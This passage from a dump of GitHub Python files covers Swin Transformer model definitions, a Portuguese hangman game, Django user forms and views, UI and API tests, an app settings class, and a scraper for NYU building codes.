classes=classes,\n                           **kwargs)\n\n\ndef SwinTransformerLarge384(model_name='swin_large_384', pretrain_size=384, window_size=12, embed_dim=192,\n                            depths=(2, 2, 18, 2), num_heads=(6, 12, 24, 48), weights='imagenet', classes=21841,\n                            **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, weights=weights, classes=classes,\n                           **kwargs)\n\n\ndef SwinTransformerV2Tiny256(model_name='swin2_tiny_256', pretrain_size=256, window_size=16, embed_dim=96,\n                             depths=(2, 2, 6, 2), num_heads=(3, 6, 12, 24), path_drop=0.2, weights='imagenet',\n                             **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop, swin_v2=True,\n                           weights=weights, **kwargs)\n\n\ndef SwinTransformerV2Small256(model_name='swin2_small_256', pretrain_size=256, window_size=16, embed_dim=96,\n                              depths=(2, 2, 18, 2), num_heads=(3, 6, 12, 24), path_drop=0.3, weights='imagenet',\n                              **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop, swin_v2=True,\n                           weights=weights, **kwargs)\n\n\ndef SwinTransformerV2Base256(model_name='swin2_base_256', pretrain_size=256, window_size=16, embed_dim=128,\n                             depths=(2, 2, 18, 2), num_heads=(4, 8, 16, 32), path_drop=0.2,\n                             window_pretrain=(12, 12, 12, 6), weights='imagenet', **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           window_pretrain=window_pretrain, swin_v2=True, weights=weights, **kwargs)\n\n\ndef SwinTransformerV2Base384(model_name='swin2_base_384', pretrain_size=384, window_size=24, embed_dim=128,\n                             depths=(2, 2, 18, 2), num_heads=(4, 8, 16, 32), path_drop=0.2,\n                             window_pretrain=(12, 12, 12, 6), weights='imagenet', **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           window_pretrain=window_pretrain, swin_v2=True, weights=weights, **kwargs)\n\n\ndef SwinTransformerV2Large256(model_name='swin2_large_256', pretrain_size=256, window_size=16, embed_dim=192,\n                              depths=(2, 2, 18, 2), num_heads=(6, 12, 24, 48), path_drop=0.2,\n                              window_pretrain=(12, 12, 12, 6), weights='imagenet', **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           window_pretrain=window_pretrain, swin_v2=True, weights=weights, **kwargs)\n\n\ndef SwinTransformerV2Large384(model_name='swin2_large_384', pretrain_size=384, window_size=24, embed_dim=192,\n                              depths=(2, 2, 18, 2), num_heads=(6, 12, 24, 48), path_drop=0.2,\n                              window_pretrain=(12, 12, 12, 6), weights='imagenet', **kwargs):\n    return SwinTransformer(model_name=model_name, pretrain_size=pretrain_size, window_size=window_size,\n                           embed_dim=embed_dim, depths=depths, num_heads=num_heads, path_drop=path_drop,\n                           window_pretrain=window_pretrain, swin_v2=True, weights=weights, **kwargs)\n","repo_name":"shkarupa-alex/tfswin","sub_path":"tfswin/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":16533,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"60"}
+{"seq_id":"11139382932","text":"import getpass\n# fazer uma função que mostre a forca\n\n\ndef mostra_forca(cont_erro):\n    # imprimindo a forca caso o usuário tenha errado 0 vezes\n    if cont_erro == 0:\n        print('''   Forca\n    +--------+\n    |        |\n             |\n             |\n             |\n             |\n             |\n    ==========\n    ''')\n    # imprimindo a forca caso o usuário tenha errado 1 vezes\n    elif cont_erro == 1:\n        print('''   Forca\n    +--------+\n    |        |\n    O        |\n             |\n             |\n             |\n             |\n    ==========\n    ''')\n    # imprimindo a forca caso o usuário tenha errado 2 vezes\n    elif cont_erro == 2:\n        print('''   Forca\n    +--------+\n    |        |\n    O        |\n    |        |\n             |\n             |\n             |\n    ==========\n    ''')\n    # imprimindo a forca caso o usuário tenha errado 3 vezes\n    elif cont_erro == 3:\n        print('''   Forca\n    +--------+\n    |        |\n    O        |\n    |\\\\      |\n             |\n             |\n             |\n    ==========\n    ''')\n    # imprimindo a forca caso o usuário tenha errado 4 vezes\n    elif cont_erro == 4:\n        print('''   Forca\n    +--------+\n    |        |\n    O        |\n   /|\\\\      |\n             |\n             |\n             |\n    ==========\n    ''')\n    # imprimindo a forca caso o usuário tenha errado 5 vezes\n    elif cont_erro == 5:\n        print('''   Forca\n    +--------+\n    |        |\n    O        |\n   /|\\\\      |\n     \\\\      |\n             |\n             |\n    ==========\n    ''')\n    # imprimindo a forca caso o usuário tenha errado 6\n    # vezes e anunciando a derrota\n    elif cont_erro == 6:\n        print('''   Forca\n    +--------+\n    |        |\n    O        |\n   /|\\\\      |\n   / \\\\      |\n             |\n             |\n    ==========\n    AND game''')\n# função que pede a próxima tentativa de letra e a quarda na\n# lista das certas ou na das erradas dependendo do caso\n\n\ndef pede_letra(palavra_sort, li_letras_er, li_letras_cer):\n    # pulando uma linha para facilitar a visualisação para\n    # o usuário\n    print()\n    while True:\n        # pedir para o usuário digitar uma letra\n        letra = input(\"Próxima letrar: \").lower()\n        if not ((letra in li_letras_er) or (letra in li_letras_cer)):\n            break\n        print(\"você já tentou esta letra. Tente novamente.\")\n    # variavel que verifica se a letra é certa e se for ela faz\n    # a parte que adciona as erradas não funcionar\n    v = 0\n    # verificar se a letra está na palavra com a função in e\n    # executa a quantidade de vezes que a letra está na palavra\n    for a in range(palavra_sort.count(letra)):\n        # verificando que a letra está correta e não deve ser\n        # acionado a parte que adciona esta para a lista das\n        # erradas\n        v = 1\n        # adicionando a letra nas casas certas\n        li_letras_cer[palavra_sort.index(letra)] = letra\n        # se sim adcionar a letra na lista da palavar no indice\n        # certo na demosntração da palavra através das função\n        # mostra palavra\n        palavra_sort[palavra_sort.index(letra)] = []\n    # caso não devolver a letra para a lista das erradas e\n    # adicionar a variavel de erro\n    if not v:\n        li_letras_er.append(letra)\n    # retornando as duas listas para o main\n    return li_letras_er, li_letras_cer\n# esta função pede a palavra que o usuário quer que seja\n# adivinhada pela outra pessoas\n\n\ndef pede_palavra():\n    # pedindo a palavra de forma oculta para o usuário que\n    # escolhe a palavra para que o outro não veja a palavra\n    palavra_escolhida = getpass.getpass(\n        \"Digite a palavra escolhida para ser advinhada: \").lower()\n    # transformando a entrada do usuário em uma lista com os caracteres para\n    # comparar as letras futuramente\n    palavra_escolhida_li = list(palavra_escolhida)[:]\n    # retornando a palavra e a lista da palavra para o programa\n    return palavra_escolhida_li, palavra_escolhida\n# esta função mostra quantas letras da palavra escolhida o\n# usuário acertou\n\n\ndef mostra_letras_c(li_letras_cer):\n    # mostra o o que são as letras que serão exibidas e ao\n    # inves de pular uma linha no final a função print da um\n    # espeço\n    print(\"Letras certas até agora:\", end=\" \")\n    # percorrendo os elementos da lista letras certas que\n    # usuário marcou\n    for i in li_letras_cer:\n        # imprimindo cada letra (caso certa) ou _ (caso ainda\n        # esteja indefinida) individualmente fazendoa função\n        # print dar um espaço ao final para facilitar a visualição\n        print(i, end=\" \")\n    # imprimindo uma linha vazia para facilitar a visualização da\n    # palavra pelo o usuário\n    print()\n# esta as letra erradas sem espaço entre elas\n\n\ndef mostra_letras_er(li_letras_er):\n    # printando uma linha vazia para dar um espaço entre a lista das\n    # listas certas das erradas\n    print()\n    # anunciando quais são os dados que serão exibidos fazendo a função não\n    # pular uma linha ao final para que os dados fiquem na mesma linha\n    print(\n        \"As letras que foram digitadas até agora e estão erradas são:\",\n        end=\" \")\n    # percorrendo todas as letras erradas\n    for i in li_letras_er:\n        # mostrando cada letra errada na mesma linha\n        print(i, end=\"\")\n# função que executa todas as outra e faz o jogo da forca acontecer\n\n\ndef main():\n    # pedindo a palavra que será adivinhada para o outro usuário\n    palavra_sort_a, palavra_sort = pede_palavra()\n    # criando uma lista para colocar as letras certas do usuário\n    li_letras_cer = []\n    # criando uma lista para colocar as letras erradas do usuário\n    li_letras_er = []\n    # criando os espaços corretos das letras na lista de letras\n    # certas para mostra a casas das letras\n    for t in range(len(palavra_sort)):\n        # adcionando o espaço para a cada letra da palavra\n        li_letras_cer.append(\"_\")\n    # rodando o jogo em si e comparando se o usuário ganhou o jogo\n    while list(palavra_sort) != li_letras_cer:\n        # mostrando a forca para o usuário\n        mostra_forca(len(li_letras_er))\n        # verificando se o usuário perdeu o jogo\n        if len(li_letras_er) >= 6:\n            # se sim mostrando que o jogo acabou e a palavra certa\n            print(\"Fim de jogo.\")\n            print(\"A palavra era: %s\" % (palavra_sort))\n            # perguntando se o usuário deseja jogar de novo\n            if input('''\nVocê deseja jogar de novo? digite Sim para jogar/Não para não jogar: '''\n                     ).upper().startswith(\"S\"):\n                # caso quiera retornando a função principal\n                # para o jogo se repetir\n                return main()\n            # se não retornando nada para o jogo acabar\n            else:\n                return\n        # caso ainda não tenha perdido mostrando as letras da palavra\n        # acertadas a té o momento\n        mostra_letras_c(li_letras_cer)\n        # mostrando a lista das tentativas erradas até o momento\n        mostra_letras_er(li_letras_er)\n        # pedindo a próxima letra e atualizando as listas das letras certas\n        # e erradas\n        li_letras_er, li_letras_cer = pede_letra(\n            palavra_sort_a, li_letras_er, li_letras_cer)\n    # mostrando todas as letras corretas da palavra\n    mostra_letras_c(li_letras_cer)\n    # informando que o usuário ganhou já que só isso pode ter acontecido\n    # para o programa chegar nesta parte, pois quando ele perde o\n    # programa pergunta no ciclo\n    # se ele quer jogar de novo ou não e encerra o programa caso ele não queira\n    print(\"Você ganhou!!\")\n    # perguntando se o usuário quer jogar de novo ou não\n    if input('''\nVocê deseja jogar de novo? digite Sim para jogar/Não para não jogar: '''\n             ).upper().startswith(\"S\"):\n        # caso queira chamando a função para que o jogo ocorra novamente\n        return main()\n\n\n# chamando a função principal para o jogo ser iniciado\nmain()\n","repo_name":"bruno-gabriel-muniz/O_jogo_da_forca","sub_path":"o_jogo_da_forca.py","file_name":"o_jogo_da_forca.py","file_ext":"py","file_size_in_byte":8010,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35516090301","text":"\nfrom typing import List, Optional\nimport datetime\n\ndef get_row_partition_name(row: List[str]) -> str:\n    if len(row) < 4:\n        raise Exception(\"Row of length {} is too short, should be at least 4\".format(len(row)))\n    if row[0] != 'D':\n        raise Exception(\"Row should be a data row but was instead `{}`\".format(row[0]))\n    mapping = {\n        (\"BIDS\",\"BIDDAYOFFER\"): 6,\n        (\"BIDS\",\"MNSP_DAYOFFER\"): 4,\n        (\"BILLING\",\"DAYTRK\"): 7,\n        (\"BILLING\",\"BILLING_CO2E_PUBLICATION\"): 7,\n        (\"BILLING\",\"DAILY_ENERGY_SUMMARY\"): 7,\n        (\"DEMAND\",\"PERIOD\"): 5,\n        (\"PRICELOAD\",\"CONSTRAINTRELAXATION\"): 4,\n        (\"DISPATCH\",\"BLOCKED_CONSTRAINTS\"): 4,\n        (\"DISPATCH\",\"CASE_SOLUTION\"): 4,\n        (\"DISPATCH\",\"CONSTRAINT\"): 4,\n        (\"DISPATCH\",\"INTERCONNECTORRES\"): 4,\n        (\"DISPATCH\",\"UNIT_SOLUTION\"): 4,\n        (\"DISPATCH\",\"OFFERTRK\"): 4,\n        (\"DISPATCH\",\"PRICE\"): 4,\n        (\"DISPATCH\",\"REGIONSUM\"): 4,\n        (\"PRICELOAD\",\"CONSTRAINT_FCAS_OCD\"): 4,\n        (\"DISPATCH\",\"FCAS_REQ\"): 4,\n        (\"DISPATCH\",\"INTERCONNECTION\"): 4,\n        (\"DISPATCH\",\"LOCAL_PRICE\"): 4,\n        (\"DISPATCH\",\"MNSPBIDTRK\"): 4,\n        (\"DISPATCH\",\"MR_SCHEDULE_TRK\"): 4,\n        (\"PRICELOAD\",\"PRICE_REVISION\"): 4,\n        (\"DISPATCH\",\"UNIT_SCADA\"): 4,\n        (\"DISPATCH\",\"INTERMITTENT_FORECAST_TRK\"): 4,\n        (\"DISPATCH\",\"NEGATIVE_RESIDUE\"): 4,\n        (\"METERDATA\",\"AGGREGATE_READS\"): 5,\n        (\"METERDATA\",\"INDIVIDUAL_READS\"): 5,\n        (\"METERDATA\",\"INTERCONNECTOR\"): 5,\n        (\"NETWORK\",\"REALTIMERATING\"): 4,\n        (\"PREDISPATCH\",\"MNSPBIDTRK\"): 8,\n        (\"RESERVE_DATA\",\"RESERVE\"): 4,\n        (\"SETTLEMENTS\",\"DAYTRACK\"): 4,\n        (\"SETTLEMENTS\",\"CPDATA\"): 4,\n        (\"SETTLEMENTS\",\"CPDATAREGION\"): 4,\n        (\"SETTLEMENTS\",\"FCASREGIONRECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"GENDATA\"): 4,\n        (\"SETTLEMENTS\",\"GENDATAREGION\"): 4,\n        (\"SETTLEMENTS\",\"INTRAREGIONRESIDUES\"): 4,\n        (\"SETTLEMENTS\",\"IRAUCSURPLUS\"): 4,\n        (\"SETTLEMENTS\",\"IRNSPSURPLUS\"): 4,\n        (\"SETTLEMENTS\",\"IRPARTSURPLUS\"): 4,\n        (\"SETTLEMENTS\",\"IRSURPLUS\"): 4,\n        (\"SETTLEMENTS\",\"LOCALAREAENERGY\"): 4,\n        (\"SETTLEMENTS\",\"LOCALAREATNI\"): 4,\n        (\"SETTLEMENTS\",\"LSHEDPAYMENT\"): 4,\n        (\"SETTLEMENTS\",\"LSHEDRECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"MARKETFEES\"): 4,\n        (\"SETTLEMENTS\",\"REALLOCATIONS\"): 4,\n        (\"SETTLEMENTS\",\"RESTARTPAYMENT\"): 4,\n        (\"SETTLEMENTS\",\"RESTARTRECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"RPOWERPAYMENT\"): 4,\n        (\"SETTLEMENTS\",\"RPOWERRECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"SMALLGENDATA\"): 4,\n        (\"SETTLEMENTS\",\"ANCILLARY_SUMMARY\"): 4,\n        (\"SETTLEMENTS\",\"APC_COMPENSATION\"): 4,\n        (\"SETTLEMENTS\",\"APC_RECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"FCAS_PAYMENT\"): 4,\n        (\"SETTLEMENTS\",\"FCAS_RECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"SET_FCAS_REGULATION_TRK\"): 4,\n        (\"SETTLEMENTS\",\"NMAS_RECOVERY\"): 4,\n        (\"SETTLEMENTS\",\"NMAS_RECOVERY_RBF\"): 4,\n        (\"SETTLEMENTS\",\"RUN_PARAMETER\"): 4,\n        (\"TRADING\",\"INTERCONNECTORRES\"): 4,\n        (\"TRADING\",\"PRICE\"): 4,\n    } \n\n    if mapping.get((row[1], row[2])) is not None:\n        sd = row[mapping[(row[1], row[2])]]\n        parsed = datetime.datetime.strptime(sd, \"%Y/%m/%d %H:%M:%S\").date()\n        return \"{}-{}-v{}-{}-{}\".format(row[1], row[2], row[3], parsed.year, parsed.month)\n    else:\n        return \"{}-{}-v{}\".format(row[1], row[2], row[3])\n    ","repo_name":"eigenmo-de/mmsdm-rs","sub_path":"python/mmsdm/partition.py","file_name":"partition.py","file_ext":"py","file_size_in_byte":3412,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"26173924743","text":"import re\n\nfrom django import forms\n\nfrom .constants import NAME_ERROR, EMAIL_EXIST, NON_USER\nfrom .models import User\n\n\nclass UserRegisterForm(forms.ModelForm):\n\n    class Meta:\n        model = User\n        fields = (\"name\", \"email\", \"password\")\n\n    def clean_name(self):\n        name = self.cleaned_data.get('name')\n\n        if re.match(r'^[a-z A-Z]+$', name, re.I):\n            return name\n\n        raise forms.ValidationError(NAME_ERROR)\n\n    def clean_email(self):\n        email = self.cleaned_data.get('email')\n\n        try:\n            User.objects.get(email=email)\n\n            raise forms.ValidationError(EMAIL_EXIST)\n\n        except User.DoesNotExist:\n\n            return email\n","repo_name":"ududit007/scrapper","sub_path":"scrapy/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71524451390","text":"import allure\nfrom allure_commons.types import AttachmentType\n\nfrom src.conftest.conftest import driver\nfrom src.errors.errors import AssertError\n\nfrom src.pages.page_slider import PageSlider\n\n\n@allure.feature('Testing the page radio slider')\n@allure.story('Testing check to change value slider')\ndef test_validate_change_value_slider(driver):\n    page_slider = PageSlider(driver, \"https://demoqa.com/slider\")\n    with allure.step('Page loading  https://demoqa.com/slider'):\n        page_slider.open_browser()\n    try:\n        with allure.step('Checking whether the expected result matches the actual.'):\n            assert page_slider.check_value_slider() == '50'\n    except AssertionError:\n        allure.attach(driver.get_screenshot_as_png(), name='validate_change_value_slider',\n                      attachment_type=AttachmentType.PNG)\n        raise AssertionError(AssertError.Error.value)","repo_name":"Evgenii180192/PYTHON_SELENIUM","sub_path":"tests/test_page_slider.py","file_name":"test_page_slider.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"32234771885","text":"from pytest_voluptuous import S\nfrom requests import Response\n\nfrom schemas.schemas import post_create_user_schema\nfrom utils.base_session import reqres_session\n\n\ndef test_create_user():\n    name = \"octavio\"\n    job = \"leader\"\n\n    result: Response = reqres_session().post(\n        url=\"/api/users\", json={\"name\": name, \"job\": job}\n    )\n\n    assert result.status_code == 201\n    assert result.json()['name'] == name\n    assert result.json()['job'] == job\n    assert isinstance(result.json()['id'], str)\n    assert result.json() == S(post_create_user_schema)\n","repo_name":"snezhanata/qa_py_rest_api","sub_path":"tests/test_post_create_user.py","file_name":"test_post_create_user.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29319780288","text":"# -*- encoding: utf-8 -*-\nimport simplejson as simplejson\nfrom django.contrib.auth.decorators import login_required,permission_required\nfrom django.http import HttpResponse\nfrom djongo import models\nfrom django.shortcuts import render, redirect, get_object_or_404, get_list_or_404\nfrom django.utils.translation import activate\nfrom usuarios.forms import UsuariosForm,UsuariosEditarForm\nfrom django.contrib.auth.hashers import PBKDF2PasswordHasher\nfrom django.contrib.auth.models import User, Permission, Group\nfrom django.contrib.contenttypes.models import ContentType\nfrom django.template import RequestContext\nfrom django.shortcuts import render_to_response\nfrom app.models import Profile\nfrom cliente.models import Cliente\nfrom instalacion.models import Instalacion\nfrom usuarios.forms import LoginForm\nfrom django.contrib.auth import authenticate, login\nimport datetime\nimport Constantes\nfrom django.contrib.auth.hashers import make_password, check_password\n\n@login_required(login_url=\"/login/\")\n@permission_required('usuarios.add_usuarios',login_url=\"/logout/\")\ndef usuarios(request):\n    activate('es')\n    if request.method == \"POST\":       \n        form = UsuariosForm(request.POST)   \n        print(form.is_valid())      \n        if form.errors:\n            for field in form:\n                for error in field.errors:\n                    print(field.name)\n\n                    print(error)     \n        if form.is_valid():\n            \n            user = form.save(commit=False)\n            user.username = form.cleaned_data.get(\"username\")\n            user.raw_password = form.cleaned_data.get(\"password1\")\n            user.is_active = form.cleaned_data.get(\"is_active\")\n            user.email = form.cleaned_data.get(\"email\")\n            user.date_joined = datetime.datetime.now()\n            user.first_name = form.cleaned_data.get(\"first_name\")\n            user.last_name = form.cleaned_data.get(\"last_name\")\n            \n            user.password = make_password(user.password)\n            user.save()\n\n            print(user)\n            print(user.pk)\n\n            client = request.POST.get('cliente')\n            client_in = Cliente.objects.get(_id = client)\n            instalation = request.POST.get('instalacion')\n            instalation_in = Instalacion.objects.get(_id = instalation)\n            perfil = Profile(\n                user = user,\n                cliente = client_in,\n                instalacion = instalation_in,\n                rol = 3\n            )\n            perfil.save()\n\n            print(client)\n            groups = request.POST.get('group')\n            user.groups.add(groups)\n\n            # group = Group.objects.get(name='Usuarios')\n            # user.groups.add(group)\n\n            # client = request.POST.get('cliente')\n            # user.profile.add(client)\n            \n            return redirect('/usuarios/todos')\n            \n            # client = request.POST.get('cliente-nif')\n            # user.profile.cliente.add(client)\n            \n        else:\n            form = UsuariosForm()\n    else:\n        form = UsuariosForm()\n        # for error in form.non_field_errors:\n        #     print('NFE | ')\n        #     print(error)\n    return render(request, 'usuarios/agregar.html', {'form': form})\n\n@login_required(login_url=\"/login/\")\n@permission_required('usuarios.view_user',login_url=\"/logout/\")\ndef todos(request):\n    activate('es')\n    usuariosTodos = {}\n    client = getattr(request.user.profile, \"cliente\", None)\n\n    if (request.user.profile.rol== Constantes.SUPERUSUARIO):\n        usuariosTodos = User.objects.all()\n\n    elif (request.user.profile.rol == Constantes.ADMINISTRADOR) and client:\n        usuariosTodos = User.objects.filter(profile__cliente=client)\n        print(client)\n\n    return render(request, \"usuarios/todos.html\", {'usuariosTodos': usuariosTodos})\n\n\n@login_required(login_url=\"/login/\")\n@permission_required('usuarios.change_user',login_url=\"/logout/\")\ndef editar(request, id):\n    activate('es')\n    user = get_object_or_404(User, _id=id)\n    if (request.user.profile.rol == Constantes.ADMINISTRADOR) and hasattr(request.user.profile, 'cliente') and (request.user.profile.cliente.get_id() is not None):                \n        if (request.user.profile.cliente.nif != valores.instalacion.nif_cliente):            \n            return redirect('/accounts/logout/')\n\n    form = UsuariosEditarForm(request.POST or None, instance=user)\n \n    return render(request, 'usuarios/editar.html', { 'form' : form })\n\n\n@login_required(login_url=\"/login/\")\n@permission_required('usuarios.change_user',login_url=\"/logout/\")\ndef actualizar(request, id):\n    activate('es')\n    usuarios = get_object_or_404(Usuarios, _id=id)\n    form = UsuariosEditarForm(request.POST or None, instance=usuarios)\n    if form.is_valid():\n        form.save()\n        return redirect(\"/usuarios/todos\")\n    if form.errors:\n      for field in form:\n          for error in field.errors:\n              print(field.name)\n    \n              print(error)\n      # for error in form.non_field_errors:\n      #     print('NFE | ')\n      #     print(error)\n    return render(request, 'usuarios/editar.html', { 'form' : form })\n\n\n@login_required(login_url=\"/login/\")\n@permission_required('usuaeios.delete_user',login_url=\"/logout/\")\ndef eliminar(request, id):\n    activate('es')\n    try:\n        usuarios = User.objects.get(_id=id)\n        if (request.user.profile.rol == Constantes.ADMINISTRADOR) and hasattr(request.user.profile, 'cliente') and (request.user.profile.cliente.get_id() is not None):                \n            if (request.user.profile.cliente.nif != user.cliente.nif_cliente):            \n                return redirect('/accounts/logout/')\n        usuarios.delete()\n    except Exception as e:\n        print('%s (%s)' % (e, type(e)))\n        pass\n    return redirect(\"/usuarios/todos\")\n\n\n","repo_name":"joelsegoviacrespo/control_aforo_migrado","sub_path":"usuarios/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5848,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"72875850110","text":"\nfrom py_files.memory import load_data, save_data, load_layout, save_layout\n\n\nfrom py_files import __version__\n\nprint(\"setup.py\")\n\nclass Setup():\n\n    data = {}\n    file_name = 'setup.pickle'\n\n\n    active_layer = None\n    sublayer = None\n    active_layout = None\n    swapping_button = None\n\n    selected_major_layout = None\n    selected_minor_layout = None\n    selected_device_left = None\n    selected_device_right = None\n\n    main_left = None\n    main_right = None\n    sub_left = None\n    sub_right = None\n    layout_app_version = None\n\n\n    app_version = __version__\n\n    def __init__(self):\n\n        # self.file_name = 'setup.pickle'\n        # self.swapping_button = None\n        self.load()\n\n        self.updateLayout(self.active_layout)\n\n        # self.data = {'active_layer': self.active_layer,\n        #              'sublayer': self.sublayer,\n        #              'selected_major_layout': self.selected_major_layout,\n        #              'selected_minor_layout': self.selected_minor_layout,\n        #              'selected_device_left': self.selected_device_left,\n        #              'selected_device_right': self.selected_device_right,\n        #              'main_left': self.main_left,\n        #              'main_right': self.main_right,\n        #              'sub_left': self.sub_left,\n        #              'sub_right': self.sub_right,\n        #              'app_version': self.app_version\n        #              }\n\n    def save(self):\n        print(f'setup.py -> save: {self.file_name}')\n\n        self.data = {}\n\n        self.data['active_layer'] = self.active_layer\n        self.data['sublayer'] = self.sublayer\n        self.data['active_layout'] = self.active_layout\n\n        self.data['selected_major_layout'] = self.selected_major_layout\n        self.data['selected_minor_layout'] = self.selected_minor_layout\n        self.data['selected_device_left'] = self.selected_device_left\n        self.data['selected_device_right'] = self.selected_device_right\n\n        self.data['app_version'] = self.app_version\n        # self.data['main_left'] = self.main_left\n        # self.data['main_right'] = self.main_right\n        # self.data['sub_left'] = self.sub_left\n        # self.data['sub_right'] = self.sub_right\n\n\n        save_data(self.data, self.file_name)\n\n\n    def load(self):\n\n        self.data = load_data(self.file_name)\n\n        self.active_layer = self.data['active_layer']\n        self.sublayer = self.data['sublayer']\n        self.active_layout = self.data['active_layout']\n\n        self.selected_major_layout = self.data['selected_major_layout']\n        self.selected_minor_layout = self.data['selected_minor_layout']\n        self.selected_device_left = self.data['selected_device_left']\n        self.selected_device_right = self.data['selected_device_right']\n\n        # self.main_left = self.data['main_left']\n        # self.main_right = self.data['main_right']\n        # self.sub_left = self.data['sub_left']\n        # self.sub_right = self.data['sub_right']\n        #\n        # self.app_version = self.data['app_version']\n\n\n    def update_active_layer(self, x):\n        print(f'setup.py -> update_active_layer: {x}')\n        self.active_layer = x\n        self.save()\n\n    def update_sublayer(self, x):\n        print(f'setup.py -> update_sublayer: {x}')\n        self.sublayer = x\n        self.save()\n\n    def update_major_layout(self, x):\n        print(f'setup.py -> update_major_layout: {x}')\n        self.selected_major_layout = x\n        self.active_layout = x\n        self.updateLayout(x)\n        self.save()\n\n    def update_minor_layout(self, x):\n        print(f'setup.py -> update_minor_layout: {x}')\n        self.selected_minor_layout = x\n        self.active_layout = x\n        self.updateLayout(x)\n        self.save()\n\n    def update_device_left(self, x):\n        print(f'setup.py -> update_device_left: {x}')\n        self.selected_device_left = x\n        self.save()\n\n    def update_device_right(self, x):\n        print(f'setup.py -> update_device_right: {x}')\n        self.selected_device_right = x\n        self.save()\n\n    def event_swap(self, event_a, event_b):\n        transit_a = None\n        transit_b = None\n        layout_a = None\n        layout_b = None\n\n        if self.sublayer:\n            if event_a[0] == 'L':\n                transit_a = self.sub_left[event_a]\n                layout_a = self.sub_left\n            elif event_a[0] == 'R':\n                transit_a = self.sub_right[event_a]\n                layout_a = self.sub_right\n            if event_b[0] == 'L':\n                transit_b = self.sub_left[event_b]\n                layout_b = self.sub_left\n            elif event_b[0] == 'R':\n                transit_b = self.sub_right[event_b]\n                layout_b = self.sub_right\n        else:\n            if event_a[0] == 'L':\n                transit_a = self.main_left[event_a]\n                layout_a = self.main_left\n            elif event_a[0] == 'R':\n                transit_a = self.main_right[event_a]\n                layout_a = self.main_right\n            if event_b[0] == 'L':\n                transit_b = self.main_left[event_b]\n                layout_b = self.main_left\n            elif event_b[0] == 'R':\n                transit_b = self.main_right[event_b]\n                layout_b = self.main_right\n\n        layout_a[event_a] = transit_b\n        layout_b[event_b] = transit_a\n\n        self.save_current_layout()\n        self.save()\n\n\n    def save_current_layout(self):\n        print(f'setup.py -> save_current_layout: {self.active_layer}  {self.active_layout}')\n        save_layout(self.active_layer,\n                    self.active_layout,\n                    self.main_left,\n                    self.main_right,\n                    self.sub_left,\n                    self.sub_right,\n                    self.app_version)\n\n    def updateLayout(self, file):\n        print(f'setup.py -> load_layout: {self.active_layer}  {file}')\n\n        loaded_layout = load_layout(self.active_layer, file)\n\n        self.main_left = loaded_layout['main_left']\n        self.main_right = loaded_layout['main_right']\n        self.sub_left = loaded_layout['sub_left']\n        self.sub_right = loaded_layout['sub_right']\n\n        self.layout_app_version = loaded_layout['app_version']\n\n        # self.save()\n\n\n\nsetup = Setup()\n# setup.save()","repo_name":"LYNXware/LYNXapp","sub_path":"py_files/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":6304,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"70763931073","text":"from requests import get\nfrom bs4 import BeautifulSoup\n\nurl = 'https://www.nyu.edu/students/student-information-and-resources/registration-records-and-graduation/registration/classroom-locations.html'\nresponse = get(url)\n\nhtml_soup = BeautifulSoup(response.text, 'html.parser')\ntl_container = html_soup.find_all('td', class_ = 'table-no-sort-td TL TL')\ntd_container = html_soup.find_all('td', class_ = 'table-no-sort-td TD TL')\ndict = {}\ntotal_list = tl_container + td_container\ndict = {}\nfor i in range(0, len(total_list), 2):\n    building_code = total_list[i].text.replace('\\n', '').replace('\\t','')\n    building_real = total_list[i + 1].text.replace('\\n', '').replace('\\t','')\n    dict.update({building_code : building_real})","repo_name":"theminigundude/NYU_CS_Courses","sub_path":"server/scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
